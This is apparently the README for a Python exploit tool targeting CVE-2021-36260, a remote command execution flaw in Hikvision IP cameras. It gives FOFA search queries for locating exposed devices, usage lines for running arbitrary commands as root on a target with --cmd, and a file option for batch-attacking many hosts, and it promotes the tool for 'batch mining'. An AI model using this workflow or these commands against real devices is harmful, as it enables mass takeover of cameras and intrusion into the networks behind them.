Hikvision CVE-2021-36260 RCE Vulnerability

Vulnerability Description

Attackers can exploit this vulnerability to gain complete control over the device with an unrestricted root shell, even if the device owner is limited to a restricted protected shell (psh). In addition to compromising IP cameras, they can also access and attack the internal network.

FOFA

header="Hikvision"			 
app="HIKVISION-视频监控"

Usage

python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd "ls -la"
python ./CVE-2021-36260.py -f target.txt

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Start scanning url
  -f FILE, --file FILE  read the url from the file
  --check               Check if vulnerable
  --cmd CMD             execute cmd (i.e: "ls -l")

Can be used for batch mining of SRC